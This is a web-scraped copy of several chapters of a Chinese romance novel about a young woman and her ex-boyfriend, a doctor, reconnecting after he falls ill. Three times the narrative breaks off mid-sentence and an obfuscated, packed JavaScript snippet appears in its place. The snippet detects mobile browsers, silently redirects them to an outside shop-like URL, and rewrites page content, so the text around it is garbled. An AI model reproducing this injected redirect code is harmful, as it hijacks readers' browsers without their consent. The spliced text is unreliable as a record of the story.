夏曈十六岁那年就被这张脸迷得晕乎,终于在十八岁时吻到他。如今她将近二十六岁,在行业里见惯了耀眼惊艳的皮相,却依然会沉溺般地将视线久久停驻在这张脸上。 她看他良久,才收回视线,将注意力转移到手里的平板上。 她是准备看电影的,但为了避免吵到他,也为了不错过他病中的要求,她选择静音观看。 汤圆在卧室门口探头探脑,夏曈看它狗狗祟祟的,便做了个手势,让它不要叫。 汤圆看懂她的意思,慢慢走过来,脑袋趴在床沿她的腿上,看向已然睡熟的沈湛明。 夏曈看它在那儿站着,便让汤圆上床来。 她向来不拒绝和毛孩子睡在一起,可沈湛明似乎有洁癖,曾经甚至不准汤圆进入卧室。 不知他现在有没有放低底线。 夏曈想了想,还是将外面的毛绒外套脱掉,盖在自己腿上,然后示意汤圆趴过来。 汤圆被养得油光水滑,体重也不轻。但沈湛明气息平稳而深沉,已经睡熟,并没有察觉到她这边床铺动了一下。 夏曈靠在床头看剧,时不时瞥他一眼。 汤圆很乖,一直安静陪伴。客厅里有轻微的动静,是胶布发出的。不过夏曈一直觉得此猫看似银渐层,实则是只肥橘,吃饱了就不会乱叫,所以暂时不必管它。 约莫20分钟后,夏曈的视线又落在沈湛明脸上。 她将视频暂停,伸手触碰他的额头,立即感知到一阵灼烫的温度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469391|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的身体素质强悍,居然已经在发汗了。她在他的鬓角触摸到濡湿。 这时,夏曈想到,发烧时好像要擦干身体、换衣服。 但她当然不会为他做这些。 她几乎从没有为他做过什么。 他们恋爱的时候,多是沈湛明承担照顾她的责任。她习惯了他的照顾,也在他的教导下,掌握了最基本的生活技能。 除了做饭,她实在没有天赋,也缺乏耐心。 夏曈收回手,手心离开他发热的额头。 瞬间,沈湛明动了动,往她这边偏了下头。 他在发汗,会觉得热,此刻应当是本能地追逐凉意。夏曈眨眨眼,没有理会。 沈湛明也保持这个姿势,睡过两个小时。 期间,夏曈又给他测过一次体温,降到了38度6。她看沈湛明睡得还算踏实,没有露出特别难受的表情,就只倒了杯温水给他,叫他没叫醒,便不再叫。 这种情况睡眠比吃药更有效。 中午,夏曈点了外卖,和汤圆、胶布一起在客厅安静地吃过午饭。 返回卧室时,沈湛明依旧在睡,脸色却好多了。夏曈伸手摸他额头,手心竟已察觉不到起初的灼烫。 这人体质也太好了! 她暗自感叹,果然高精力人的体质也是无敌的,天选工作狂。 她在旁边坐下,拿过平板。窗帘紧闭着,昏暗的光线为卧室营造出一种静谧且安宁的氛围,夏曈打个哈欠,电影看完看漫画,到最后平板的电量还没用完,她已经不行了,困意上涌,姿势扭曲地睡了过去。 等她醒来,天都黑了。 她睁开眼,看着那个熟悉的龙猫小夜灯时,还有些恍惚。 这玩意儿沈湛明是绝对不用的,他需要在黑暗的环境里入睡。夏曈记得,是她喜欢买夜灯。 那时夏曈大一,他们刚住一起。在F大附近的老式居民楼里,他们度过了期末周,和小半个炎热但安静的暑假。 夏曈第一次和他住在一起,对他全身上下都充满了探索欲,总是好奇又别扭地问这问那,把沈湛明撩拨得浑身起火。但真到沈湛明翻身压住她的时候,她就觉得害羞,不让他开灯。 可沈湛明一定要开灯,坚称不开灯他看不清。夏曈那时单纯又清澈,沈湛明说什么她都信,她哪里会知道他在这方面的坏,于是买了个龙猫夜灯,光线微弱,但比全部黑暗要好得多。 她不会那么羞涩,沈湛明也能看清她的身体。 但沈湛明看见那龙猫灯上的一口白牙,当时就沉默了。 夏曈以为两人分手后,这小夜灯就扔了。 毕竟沈湛明很嫌弃它。 没想到沈湛明将它保存完好。 只是放在角落处,不显眼,她刚才甚至没注意。 夏曈揉了揉眼睛。 随后,她才注意到腰上横着一条精壮的手臂,青筋隐现,掌心搭在她的小腹。夏曈抬头,发现自己是侧睡的姿势,被同样侧躺的沈湛明揽在怀里,脊背紧贴着他的胸腹。 他就算不发烧,也足够体热。被他揽着睡了这么久,难怪她没盖被子,也不觉得冷。 沈湛明的气息平稳,倾洒在她发顶。夏曈从他怀里挣扎起身,手心贴在他稍有潮意的额头,不烫。她又拿体温计给他测了一次,已经完全退烧了。 夏曈松口气,汤圆趴在床尾,乖巧地抬头看她。夏曈有些饿了,准备先给两个毛孩子喂点东西吃,再去煮饭。 她去客厅找胶布,找了一圈没找到,最后跑回卧室,把被子底下呼呼大睡的胶布拽了出来。也不知道这厮什么时候跳上床的。 夏曈抱起胶布,逆子清梦被扰,气得在她怀里咪咪叫。 夏曈在它脑袋上狠狠亲了两口,准备抱它出去时,发现沈湛明不知何时已经醒了,眼神清明,一瞬不转地凝视着她。 29. 第 29 章 遮光窗帘紧闭,卧室里光线昏暗,唯有床头一盏龙猫夜灯散发着清浅的光亮。 沈湛明眼神平静地看着她,或许因为高烧后的虚弱,他的神情有些疲倦,眉宇中透出一种阴郁颓丧的性/感。 夏曈抱着胶布站在床边,歪头看他,“你醒了就好,没什么事我就先回去了。” 沈湛明起身下床,碎发垂下来,遮住深浓的眉,“你一直在这里。” 似乎是个问句。夏曈俯身收拾自己的东西,小声道:“我这么做不是为了别的。你要是真出了什么事,杜女士又该骂我是小没良心的,出门在外和湛明哥都不互相照顾。” 沈湛明垂睫看她,目光安静,不知在想什么。 夏曈抱着她的平板,“你晚上还有工作吗?” “没有,”沈湛明淡声,“前几天加班比较多,明天可以休息。” 夏曈点头表示知道了,又听他唤:“曈曈。” 他的声音倦怠而低沉,听得她头皮发麻,“干什么?有话好好说,不要总是叫我。” 沈湛明顿了瞬:“晚上想吃什么?” “你做吗?”夏曈歪头问,“这不好吧,我怎么能支使病号给我做饭呢。” 沈湛明语气不冷不热:“你曾经还要试试发烧的人是不是那里也热。” 夏曈茫然片刻,想起确实有这事,“我、我也没让你做到最后!” “是啊,” 沈湛明俯身,勾唇轻笑,“那你觉得,最后难受的是谁?” “……”她脸颊轰的发热,抬手推在他温热坚实的胸膛,“走开。” 沈湛明顺势转身,打算去浴室冲个澡,“留下来,晚饭我给你做。” 夏曈刚要反驳,却听他又道,“只是感谢你照顾我这么久,曈曈。” 夏曈没有了离开的理由。 可她也没怎么照顾沈湛明。他生病时也很安静,除了睡眠什么都不需要。反而她在这里,将他放在柜子里的零食吃掉很多。 沈湛明洗完澡出来时,神色已经恢复了他平时的冷静稳重。他给汤圆开了个罐头,恰好购买的食材送到门口,他提进来,便去厨房准备晚饭。 夏曈跟进去,准备给他打下手。 “有什么需要我做的吗?” 沈湛明低眸,手法熟练地处理食材,闻声看她一眼,“打两个鸡蛋。” 他正在处理螃蟹,旁边还有各种青菜需要切段,却只让夏曈打鸡蛋。夏曈觉得自己被看低了,轻哼声,很不服气地在碗里磕了两个鸡蛋。 然后,她愣了瞬,转身用筷子把碎蛋壳挑出来,把鸡蛋打好,搁在台面上。 沈湛明看了眼:“没有碎蛋壳,进步了,曈曈。” 夏曈移开目光:“当然。” 沈湛明告诉她:“购物袋里还有水果,你去沙发看电视,一会儿就好。” 夏曈也知道自己帮不上什么忙,蒸煮之类的简单工作她可以做,稍微复杂一些就不行了。她去购物袋里挑出两筐蓝莓和草莓,洗好后先给沈湛明吃了两颗,然后端进客厅。 坐在沙发上玩手机的时候,夏曈才意识到,这种相处模式,与他们分手前没什么两样。 而他们分手已经一年。她和他睡在同一张床,洗好水果后顺手投喂他,都无比自然,没有觉得任何不自在。 这顿饭,夏曈吃得无比满足。 她内心挣扎,不想这么不清不楚的,又很舍不得沈湛明的厨艺,纠结了半天,到底没开口。 沈湛明倒是自在,他好像做什么事都有种游刃有余的淡然,就算夏曈在那里纠结得都快坐不住了,他还能以操作手术刀的精准与平稳,给她拆了一只大闸蟹。 “吃饭就别想那么多,不要把我当前男友,当哥哥不行吗。” 沈湛明将蟹膏放在她的小碗里,“吃哥哥给你拆的螃蟹,总没有心理负担。” 夏曈忽而想到什么,忍不住脸红,“你别说了。” 沈湛明抬头看她一眼,也想起一些事,低眸不再言语。 叫“哥哥”俨然成了两人那时心照不宣的暗号,但他刚才并没有那个意思。 不过夏曈就是这样,总爱联想一些涩情的场面。 从某方面来讲,她看过的动漫、文字作品太多,脑子里的想法当然比他更多,饶是沈湛明冷静至此,也时常为她的小花样感到心跳加速。他学业和事业繁忙,没时间、也没兴趣沉溺于此。与夏曈相比,他的偏好十分传统,堪称孤陋寡闻。 只是她太爱半途而废,而他是能坚持很久的人。 夏曈以前怪他纵欲,不知节制。这话,对也不对。 饭后,沈湛明收拾餐桌,把瘫在沙发上的夏曈拽起来,让她在客厅里走走,消食。 夏曈走了两步就想放弃,她想找借口,却忽地想起一件事来,转头看向沈湛明。 她眼瞳清澈,睫毛浓纤,看向他的目光里满是讶异。 沈湛明不解,“怎么了?” 夏曈顺势坐回沙发,在沈湛明的注视中,抬手往脖颈里一勾,那条白贝母的项链被她勾了出来,“沈湛明,你看它眼熟吗?” 沈湛明的视线落在她皙白的颈窝和锁骨,顿了两秒,才去看那条项链。 链条很细,勾着她纤细的指,白贝母轻轻晃,光泽润亮,仿佛还沾染着她的体温。 沈湛明坦然:“我买的。” 夏曈松开手,项链也垂下来,贴在她锁骨中心的位置。 她歪头问:“为什么?” “没有为什么,看到它适合你,就买了。” 沈湛明淡声,“你那时不跟我讲话,我想送你礼物,还要通过曹欣。” 夏曈反驳:“我们当时已经分手了,礼物也不是必须要送。” “我没说过要分手。” 沈湛明语气低沉。 他将袖子挽到肘际,露出一截结实的手臂。他的肤色本就白,被深灰色居家服衬托,更显得冷冽如雪。 他好不容易以发烧为理由留住她,如果他继续示弱,配合适当的身体引/诱,说不定还可以让她继续留在这里。 她不就喜欢看他这个样子吗? 总之,此时并不适合谈“分手”这么严肃的话题。 但沈湛明不愿再耽误。她是追逐新鲜感的人,如果他依旧忍让,说不定她会再次被外面的谁勾走。 他这次必须和她把话说清楚。 “我现在也不认为当时是分手,曈曈,是你单方面和我吵架,然后离开。” 夏曈无奈道:“就算你不认为,现实就是我们分手了。否则你要怎么理解我和谢桁之间的关系?” 沈湛明皱起眉。 夏曈继续说:“你再不想承认,我和谢桁也是恋爱过的。按照你的理解,我是不是在和你恋爱期间,就去喜欢了其他男人?这是很严重的道德问题吧,你连这个也能接受?” 沈湛明默了瞬,平静道:“没关系,你还小,追逐新鲜感是很正常的,这没什么。” 夏曈震惊了。 她以为自己听错,睁大双眼,像看陌生人一样,看着沈湛明。 沈湛明转头与她对视,客厅顶灯光芒洒在他挺直的鼻梁。 他的神情十分坦然。 夏曈试探询问:“你对这种事的容忍度很高?” “不,我不能容忍。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469392|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈湛明轻蹙眉,“但你没关系。这一次,我可以当做没发生过。” 夏曈震惊得沉默了,良久才说:“……你还挺大度。” 沈湛明揉了揉鼻梁,“但只有这次,曈曈。你也该长大了。” 他不是没觉得烦躁过,也想过把夏曈抓回来狠狠收拾一顿。可抓回来又怎么样,她的心都被勾走了,他根本舍不得对她怎么样,除了等她回头之外,别无办法。 现在,那个勾/引她的人要离开了,沈湛明等到了她回头的机会。 她过往的一切,他都可以当做没发生。 只要她还肯待在他身边,叫他一声哥哥。 夏曈不知该如何面对这样的沈湛明。 她觉得沈湛明的恋爱观有点不健康,但也说不出哪里不健康。哪有这么自欺欺人的?他越大度容忍,越衬得她像个玩失踪又劈腿的渣女。 但事实是,她的一切行为,都是合理的。 他们那时确实分手了。她和谢桁在一起,没有任何过错。 是沈湛明心里的执念太过,导致观念发生了偏差。 夏曈转头问他:“你想和我复合吗?” 沈湛明与她对视,平静道:“你愿意吗?” 夏曈眼睫轻颤:“那你要先承认一件事,我们当时确实已经分手了。” 沈湛明问她:“我承认了,你就会留下来吗?” “不要你口头上承认,你要在心里明确这件事,从我离开的那天起,我们就分手了。” 夏曈认真道,“沈湛明,我不知道你为什么会不承认。我印象里的你,不是这样糊涂的人。而且,你前段时间还说我是前女友呢。” 沈湛明低声道:“嗯,我只是担心你会觉得我纠缠你,才故意那么说。” 他太了解她了,她喜欢什么、讨厌什么,他一清二楚。 所以在重逢时,为免她心生抵触,沈湛明与她划清界限,表现得像极了一个前任。 其实心里,只把她当□□玩的小女友,在和他闹脾气。 夏曈蹙眉,觉得跟他说不通:“算了,你先自己想清楚吧。” 她站起身,穿上外套,走到玄关处。 实在不解,夏曈又回过头:“我不知道你怎么会有这种执念,沈湛明。” 在夏曈的认知里,她是善变、多疑、追逐新鲜感、又情绪化的女孩,而沈湛明是永远能保持冷静稳重的大人。他对自己的当下、未来,有着清晰的认知和规划,理智永远压倒感性。多余的情感,他会毫不犹疑舍弃掉。 他不像夏曈那样,有着充沛的、满溢的情感,可以为了一只受伤的流浪猫而哭泣到深夜。 他这样的人,怎么会对她产生执念,至今不肯承认他们就是分手了呢? 沈湛明站在玄关处送她,凝视她良久,轻声问了句:“曈曈,你当初一言不发就离开我时,心里有觉得难过吗?” 夏曈移开目光:“有吧。” 沈湛明平静看她,“还是解脱的感觉更多?” 夏曈一怔,转头望他。 他的脸色冷白,更衬得那双眼漆黑幽邃,摄人心魄。 夏曈不想回答这个问题,她抿唇,从兜里摸出那只龙猫夜灯,故作轻松道:“这个夜灯我拿走啦。” 反正他也不用。 沈湛明的视线自始至终落在她脸上,在她出门时,低声唤道:“曈曈。” 汤圆在他腿边,同样依依不舍地望她。 夏曈抱着胶布和平板,轻声道:“沈湛明,你什么时候接受我们分手这件事,我们再来谈复合。” 说完这句话,她抓着胶布的猫爪,做了个拜拜的手势,转身回家。 30. 第 30 章 转眼过年,夏曈从26号停止工作,给小助理孟倩包了个大红包,吃社交饭,买年货,做美甲,直忙到28号下午。 28号晚,她在沈湛明家里,和他商议明天怎么回家过年。 她不吃社交饭的时候,都在沈湛明家里蹭饭。 蹭饭这种事,一回生二回熟。沈湛明临近过年的几天也很忙,但他知道她会来,便把饭做好放冰箱保鲜。她想吃的时候,自己过来,随手加热一下就好。 今晚沈湛明也结束了工作,便备好新鲜食材,给她现做。 厨房里动静热闹,香味飘出来,别说夏曈了,就连汤圆都急得呜呜叫。 夏曈摸着空空的肚子,趴在沙发上,拍了自己新做的猫眼美甲,发到闺蜜群里。 夏曈曈:快看,这个做出来效果超好! 曹大欣一看就气炸了:卧槽,凭什么,我做出来像是砖上的苔藓!我要投诉那个美甲师!什么技术! 孟瑶:这款式挑肤色,就得夏曈曈这种皮肤白的,做出来才有那种清透灵动的感觉。曹大欣你那手指黑得像乌鸡爪,好看才怪嘞! 吴冉:@曹大欣,没事,欣,这段时间不打排球,很快就捂白了。 曹大欣:那不可能。让我不打球,不如让我去死。 夏曈发去一张图:你这样改一下,这个更适合肤色深的。 吴冉:诶,这个也好看。 曹大欣:算了,就这么着吧。反正也没人敢笑话我。 这倒是,曹欣她爸是个狠人,从小把她当小兵训。曹欣十七岁时已经凭借她爸教的格斗术打遍全院无敌手,经常跟楼后头几位退伍的叔叔伯伯过招。 但她不服从她爸的安排也是真的,高中就学抽烟,大学还报了个跟崔爸八竿子打不着的专业,气得崔爸差点厥过去。 这时,刘淑智慢悠悠发了语音:夏曈曈,你在谁那儿呀?这客厅摆设不像你家啊~ 吴冉:哦?有情况? 孟瑶:哦?有情况? 曹大欣暗示:这是湛明哥家吧?看我圈起来这个,这不是汤圆的尾巴吗?【图片】 刘淑智一秒开磕:真的假的?磕到了! 吴冉:湛明哥是不在做饭呢?夏曈曈,你可真有口福啊。哥做饭老好吃了。 曹大欣:你怎么知道? 吴冉:去年年夜饭我去沈叔叔家送红酒,在那里吃了几口,当时不就是哥掌勺吗? 曹大欣:还有这等好事?今年的年夜饭我也要去蹭吃。 程萱:我也要去。我爹做饭好难吃。 吴冉:你俩差不多得了。沈叔和夏叔两家世交,才在一块过年的。咱们这群小辈去凑什么热闹? 吴冉:@夏曈曈,不过你可以邀请我们,嘿嘿。【谄媚.jpg】 刘淑智:话题不要跑偏!@夏曈曈,说实话,你是在湛明哥家里吗? 夏曈无奈回道:是他家。我们在聊明天回老家过年的事。 诸位闺闺立刻兴奋。 曹大欣:哦,现在是饭点吧?边吃晚饭边聊? 孟瑶:吃完了不得再聊会儿呀,窗帘一拉,看个电影什么,多有氛围。 吴冉:然后嘞? 刘淑智:然后他们就呜呼了! 吴冉:然后他们就呜呼了! 曹大欣:然后他们就呜呼了! 夏曈曈:…… 李然加入战场:你俩复合了?好啊!正月十五之前我能吃上席吗? 程萱稳定发挥:@夏曈曈,你不会已经睡到湛明哥了吧?他身材好不好,腹肌性/感吗? 曹大欣唾弃她:程萱你这个色/胚!连湛明哥都敢想! 程萱哈哈大笑:@夏曈曈,曹大欣说你是色/胚,连湛明哥都敢睡! 曹大欣:???我委屈! 群里消息刷刷往上顶。 夏曈无语至极。 她这边一个字没说,这群坏女人已经脑补到她和沈湛明该去哪里度蜜月了。 不过,谁让这消息暴露在年关,所有人都最闲、最有功夫八卦的时候,可不得逮着她和沈湛明的事大聊特聊。 夏曈打了几个字:没复合,睡过。 群里再次炸锅,她拗不过程萱的好奇追问和众人的撺掇,补充了句:身材很好,腹肌很性/感。 发完这条消息,夏曈将手机熄屏,反放在茶几上。 任由群里怎么艾特,她也不准备再理会。 沈湛明从厨房端菜出来,让她去洗手,准备吃饭。 夏曈揉了揉自己发红的脸颊,应了声好。 刚要起身,她动作蓦地一顿,视线落在沈湛明身上。 凭心而论,沈湛明肩宽腿长,轮廓隽朗,仅是站在那里,哪怕什么都不做,便足够吸睛。 此刻他穿着黑色中领毛衣,半身围裙系在腰间,勾勒出宽肩窄腰,袖子挽到肘际,露出肌肉精实的手臂,以及隐现的青筋。 夏曈看着他,顿住没动。 就见沈湛明把饭菜都端上桌,扯掉围裙,随手搭在椅背,露出下身的浅灰色长裤。 长裤是休闲款,布料柔软,可以很轻松地勾勒出线条。 夏曈腹诽,这裤子穿了和没穿有什么两样。 穿上甚至更涩,遐想空间更大了。 沈湛明见她坐那不动,“曈曈?” 夏曈回过神,带着满脸的微红去洗手,忍不住唾弃自己的胡思乱想,又吐槽都是群里那些坏女人的话题太放飞了,把她的想法带歪。 她本来很正经的! 正经的夏曈洗好手,一脸正经地坐到桌边,开始对着满桌的菜肴流口水。 醋溜白菜,蒜香鸡翅,青椒炒牛肉,炸平菇,蚝油生菜,还有砂锅炖的排骨汤。 沈湛明递给她筷子,将舀好的小碗排骨汤放在她手边,“尝尝。” 夏曈连勺子都没用,直接埋头喝了一口,眼睛很亮:“哇,好喝。” 沈湛明勾唇,视线停留在她的笑颜。 将近两个小时的劳动,满桌的菜,在这一刻有了意义。 沈湛明对做饭没有好感,只是一种浪费时间的、无趣的劳动,忙碌半天,最后捣鼓出一堆仅为补充能量的食物。如果他自己居住,他宁愿去吃食堂或者点外卖,省下来的时间还足够他去完成更多工作。 可当夏曈在客厅等待时,这种劳动就被赋予了意义。 他期待的不是劳动成果,而是夏曈抿唇笑的那一刻。 他将那盘蒜香鸡翅挪得离她近些,夏曈很自然地夹了一只,玩笑道:“你的厨艺比以前更好了,是不是有在家练习呀?” 沈湛明嗯了声。 “那你的时间管理也太强了,工作这么忙还有时间做饭。” 沈湛明低眸。 他忙得连轴转,昼夜颠倒都是常事。都是硬生生挤出来的时间,怕不练习,厨艺生疏,她会不喜欢。 夏曈羡慕极了:“不像我。我每天都很忙的样子,但也不知道在忙什么,经常什么都没干,一天就过去了。” 沈湛明对她的自我否认感到不赞同:“你也不是什么都没做。” 夏曈回想一瞬,忍不住笑:“是啊,我做了很多事。” 这个下午,她歪在沈湛明家的沙发上,拆了他的零食,狂喝两杯奶茶,然后被沈湛明催促去补喝白开水,拿发卡给汤圆做发型,还在手机上给胶布选购了一款新的口水巾。 沈湛明将单独准备的鸡翅和牛肉放在汤圆的碗里,语气平静:“这样就挺好的,曈曈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469393|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你不需要太忙。人一旦忙起来就会有压力,而压力这种东西,只有坏处,没有好处。” 压力就是动力,不过是一碗包装精美的毒鸡汤。 希望和鼓励,才是前行的动力。 夏曈想到什么,抬脸问道:“你上班是不是有很多压力呀?” 沈湛明走回桌边,居高临下地望着她:“有,很多。” 夏曈仰脸望他,两瓣红润的唇微动,“那你平时怎么释放压力?抽烟?喝酒?跑步?你好像都没有这些嗜好。” 她的眼眸明亮,在灯下如星璀璨。 沈湛明与她对视,有那么一瞬间,他内心的丑陋不堪似乎被她眼珠的清澈照得无所遁形。 “运动,”他移开视线,坦然道,“还有想你。” 夏曈啃排骨的动作一顿。 前者很好理解,在他们分手的这一年里,沈湛明身上肌肉几乎是肉眼可见的更精实了,这应是他坚持锻炼的结果。 但后者,夏曈就有些想不通。 她刚想开口,就听沈湛明问道:“你呢。” 夏曈转过头。 明暖的灯芒下,沈湛明的脸部轮廓被光线勾勒得近乎标致,“你也有想过我吗?” 他穿着中领毛衣,发声时,喉结在瓷白的肌肤上下浮动,如海面浮冰。 夏曈此刻不想与他对视,视线便停留在那个位置,余光可以窥见他薄红的唇。 她撒了个谎:“没有。” 沈湛明看着她,眼眸深黑。 夏曈就在此刻视线上抬,蓦地勾唇,“沈医生不喜欢撒谎的人,对不对?” 她很聪明,想用一个小小的逻辑问题,结束这场对话。但沈湛明从不接招,“我对另一半,没有道德上的任何要求。” 夏曈漫不经心笑:“哦?什么意思?” “意思是,不管你是否撒谎,我都喜欢。” 沈湛明放过了她,“吃饭吧,曈曈。” 夏曈的脸颊在话音落下的这一刻,终于发红。 她在接下来的半小时里都没再开口说话,沈湛明给她夹菜,她也懒得说谢谢——本来也不必说谢,无论分手前后,他们都不是会使用客套词汇的关系。 饭后,沈湛明准备好牵引绳,要带汤圆下楼散步。 夏曈瘫在沙发上,抱着手机独自郁闷,听见动静也没抬头。 他皱眉望去,她的生活习惯太不健康,当初同居时被他亲手纠正过来一点,没想到分手后,她缺乏自制力,又再度染上。 沈湛明走过去,指腹拂开她脸颊的碎发,准备利诱,“小区外开了一家甜品店,新品八折,今天是最后一天,要去看看吗?” 无论饭后甜点是否健康,先哄她下去再说。 夏曈吃饱了就犯困,犹豫着不想动,沈湛明从裤袋里掏出手机,手指划动几下,给她看一张图片。 夏曈歪着脑袋,来了点兴趣:“有榴莲千层哎,还有抹茶生巧,可是晚上吃这个会失眠吧?” 沈湛明知道此招已经奏效,按熄了手机屏幕,“留到明天路上吃。” 有道理。夏曈坐起身,很没出息地为了一点口腹之欲,准备收拾下楼。 她抬手扎头发,穿外套,系围巾,余光瞥见沈湛明已经换掉了那条很突出轮廓的浅灰休闲裤,换了一件低调的黑色长裤,神情不由一怔。 沈湛明注意到她不断扫来的目光,淡声道:“我没有暴露的癖好。” “……噢,” 夏曈觉得偷看被抓包很尴尬,就笑道,“你知道那样很明显啊,那你今天下午怎么一直穿着那个,都不换?” “没有外人。”沈湛明牵着汤圆,摁下电梯,“没有必要。” 夏曈一怔,扭过脸去。 31. 第 31 章 甜品店里顾客爆满,夏曈不想去挤,又被甜甜的香味勾得流口水,只好垫着脚问沈湛明,“你看那个抹茶生巧是不是卖光了呀……” 沈湛明个子高,随意望去一眼,“嗯。” 夏曈欲哭无泪,看着别人拎着包装精致的甜品离开,自己却进都进不去,气得快要晕倒在现场。 周围人声喧闹,沈湛明平等地厌恶所有不安静的公共场合,早就想转身离开。他也不会一直逗夏曈,于是倾身安抚,“我白天下班时来过一趟,那时人不多,我就让他们给你预留了一份。” 他的嗓音低沉,在吵嚷的人声里显得尤为动听,带着温热的吐息,倾洒在夏曈耳边。 夏曈耳边一热,下意识偏头躲避,旋即才明白他的意思,不由睁大了双眼,“你早就买好了?” 沈湛明颔首说是。 “那你怎么不早说?”夏曈更气了,一头撞向他胸膛,看清了他的意图,“你就是想让我陪你下来散步,对不对?” 旁边挤来一人,沈湛明顺势揽住她的肩,将她按在怀里,“对。陪我去公园吧。” 夏曈抬起脸,眼瞳泛着气愤的湿润,“沈湛明,你好无聊,你是小孩子吗?去公园都要人陪着。” “你这么说我不反驳。但我不要别人陪。” 沈湛明揽在她肩的手动了动,很准确地抓住了她垂在身侧的手,一触冰冷,之后才感知到她手骨与皮肤的柔软。 无论穿得多厚,她的手在冬天永远也捂不热。 沈湛明收拢手指,将她的手握在掌心。 他的手心温暖干燥,指腹带着微微的茧,有些粗糙。夏曈几乎在瞬间就要沦陷在这份眷恋中,但很快就想起挣扎。 沈湛明攥住她的手,不容半分脱逃的可能性。 他手劲极大,某些时刻失控时能将她的腿握出淤青,此时稍有用力,便让夏曈逃脱不得。 夏曈挣扎失败,被沈湛明拉住手,在人群里穿梭。人行道上也不安全,有人逆行,有人打闹,悬铃木下还有摆放凌乱的共享单车,稍有不慎就可能撞到。 但沈湛明牵住她的手,让她处在一个安全的、与外界接触不到的领域内。 她像是被羽翼保护住的孩子。 街道上的过年气氛已经很浓厚,到处挂满了红灯笼。道边的霓虹灯牌照亮夏曈的脸,莹白/精致,带着一丝愤怒的红,眼珠又是清透的黑,夜晚的光线迷离,将她的漂亮放大到近乎瑰丽的地步。 此刻的她不仅存在于手机相册与沈湛明的回忆中,而是真切地、鲜活地存在于他的眼前。 沈湛明低眸看她,将她的围巾往上扯了扯,遮住她的小半张脸,同时克制着想要吻她的冲动。 夏曈还没消气,“沈湛明,你居然骗我!” “总在家里憋着做什么,”他们的身边已经不那么拥挤,沈湛明仍未放开她的手,气定神闲道,“曈曈,你多久没去过公园了。” 他们这小区过一条马路,就是中央公园,面积很大,有湖有树,适合散步、夜跑。 沈湛明没有多喜欢那个公园。他是想让夏曈多接触大自然,免得在家里闷得气虚体弱。 夏曈也挣不开他的手,自暴自弃道:“记不得,很久了。” 沈湛明熟练地哄:“我们先去那里走一走,等回来正好九点,再去拿你的甜品。” 夏曈心累,脑袋撞向他的肩膀,被他手掌托住,揉了揉。 汤圆兴奋地摆着尾巴到处闻。 散步半小时后,夏曈在湖岸假山后发现了一片红梅,开得正盛,周围有灯光投射,绰约朦胧,映照得仿若一片红霞。 她终于兴奋起来,拉着沈湛明给她拍照。沈湛明找角度给她拍了几张,都被她嫌弃,说把她拍得像凶杀现场里浑身沾血的女鬼。 沈湛明无奈,举起手机重新拍,还是不行。到最后,夏曈只好承认这公园路灯的死亡顶光才是罪魁祸首。 她蹲在那里,看着照片里的自己,又气又想笑。 沈湛明俯身,揉了揉她的发:“我们明天再来拍一次。” “可是明天早晨就回老家了呀。” 沈湛明不假思索:“明天早起半个小时。” 夏曈抬头,义正言辞:“我起不来。” 从S市开车到葳市,需要四个小时,而他们定在中午十二点必须赶到家吃团圆午饭,也就意味着,他们必须在早上八点就出发。 再早半个小时,对爱睡懒觉的夏曈来说,如同索命。 不过她向来懂得爱自己,在早起拍照和多睡半小时之间,果断选择了多睡。 她起身,并无任何留恋地把照片全部删除,“算了,我拍过的照片那么多,不缺这一张。” 沈湛明握住牵引绳的手一顿,终究是没说什么。 回去的路上,夏曈的体力彻底耗尽。 她不再和沈湛明保持距离,而是像只树袋熊一样抱着他的手臂,走得痛苦万分。 沈湛明知道她体力差,他毕竟看着她长大。以前的夏曈挑食、懒惰,从不锻炼,高中毕业后没有了课间操,她更有了躲懒的理由,体力消耗少,吃得也随之变少,如此恶性循环,爬六楼都能累得说不了话。 他们那时刚刚在一起,夏曈沉浸在和他玩暧昧游戏的新奇感里。沈湛明为了让她出门跑步,唯一有效的办法就是出卖色相,哄她跑两圈就可以亲他摸他。 过了一暑假,夏曈的气色红润不少,但始终没怎么胖过。 后来她大学毕业,两人同居。沈湛明亲手给她准备营养餐,才将她喂得健朗了些。 如今他们分居一年,夏曈的身体素质再度变差,沈湛明揽着她瘦削的肩骨,忍不住皱眉。 是营养不够、亦或缺乏锻炼? 那个谢桁,只会对她撒娇卖乖、一味索取,从没想过好好爱护她吗? 沈湛明心里对那人的不满再添几分。 他此刻气息平稳,脸色正常。夏曈却好像刚上岸的小美人鱼,每走一步都仿佛踩着尖刀。 他放慢步伐,可夏曈就是难受,就是不肯配合。 哪怕锻炼身体还要讲究个循序渐进,何况此行只是为了散步消食,沈湛明又怎么舍得真的累到她,轻声提议:“我背你。” 